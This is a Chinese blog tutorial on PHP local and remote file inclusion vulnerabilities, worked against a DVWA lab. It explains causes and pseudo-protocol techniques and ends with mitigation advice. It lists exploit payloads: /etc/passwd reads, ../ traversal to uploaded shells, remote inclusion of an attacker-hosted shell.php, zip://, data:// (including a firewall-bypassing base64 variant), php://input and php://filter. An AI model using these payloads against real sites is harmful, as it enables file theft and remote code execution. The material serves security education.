文件包含漏洞
一、文件包含漏洞原理解析
1.什么是包含
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程被称为包含
2.文件包含漏洞产生原因
在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入
当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行
3.文件包含漏洞的分类
①.本地文件包含漏洞
当被包含的文件在服务器本地时,就形成的本地文件包含漏洞(LFI)
例如:xxx.com/index.php?page=/etc/passwd
②.远程文件包含漏洞
当被包含的文件在远程服务器时,就形成的远程文件包含漏洞(RFI)
例如:xxx.com/index.php?page=http://xxx.com/asdfaf.php
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)
二、目录遍历和文件包含的区别
目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统(更偏向于读取我们原先读取不了的文件)
例如:
我们之前无法访问win.ini(不在web目录下),但我们通过include文件包含漏洞去访问到了一个我们原先无法访问的文件,这种一般称为目录遍历
文件包含是通过include等函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含(更偏向于执行,把包含的内容当作php脚本去执行)
但两者的利用方式和漏洞成因都是一样的
三、常见的敏感信息路径
四、文件包含函数及其特性
include、include_once、require、require_once
无论他们包含的文件是什么类型,都当成php脚本解析并执行
五、文件包含漏洞访问方法(伪协议)
1.file协议访问绝对路径(file://+绝对路径)
file:///C:/phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg
2.直接读取文件:upload/shell.php
3.返回上级目录:../upload/shell.php
4.直接访问绝对路径:C:/phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg
5.绝对路径位置,使用多个../返回根目录(或者过滤掉冒号时):../../../../phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg
6.http协议包含远程文件(无文件上传漏洞只有文件包含漏洞):
①自己启动一个http服务器
可以访问一下
②复制shell.php的地址去包含,成功执行脚本
包含的逻辑是:客户端给服务器提交了一个请求,让受害服务器从黑客的服务器上包含一个文件,受害服务器向黑客服务器发送一个请求,获得了一个shell.php,这个shell.php是在受害服务器上执行(黑客服务器只提供shell.php供受害服务器执行,自己并不执行),而受害服务器在执行后把执行结果返回给客户端【黑客服务器即是攻击者自己的服务器】
7.zip协议:zip://shell.zip#shell.php,若服务器允许上传一个zip压缩包,可以使用该协议读取压缩包里的内容然后进行包含(shell.php前可添加路径,当然也不一定非要php文件,txt也可以,因为文件包含函数的特性,什么文件都会当成php执行)
①上传一个zip压缩包(若服务器只允许上传zip,禁止php,可以把php压缩成zip上传)
②使用zip协议进行包含
8.data协议:data://text/plan,<?php phpinfo(); ?>
把逗号后的内容当作文件内容给include包含
data协议变种(base64编码):data://text/plan;base64,PD9waHAgcGhwaW5mbygpOyA/Pg(此方法可以绕过一些防火墙)
9.php://input协议:在url中直接输入"php://input",在post请求中执行php命令(把用户提交的post表单当作文件内容,与data协议差不多)
10.php://filter/read=convert.base64-encode/resource=:读取文件源码
如,要读取"fi_remote.php"文件的源码就可以使用php://filter
我们可以看到,读取出了这样一段内容
将这段内容进行base64解码即可读取"fi_remote.php"文件内容
六、漏洞防范
1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关
2.路径限制:限制被包含的文件只能在某一文件夹内,禁止目录跳转字符,如:“../”
3.包含文件验证:验证被包含的文件是否是白名单中的一员
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(“test.php”);
标签:文件,include,包含,漏洞,服务器,php From: https://www.cnblogs.com/vinslow/p/17053364.html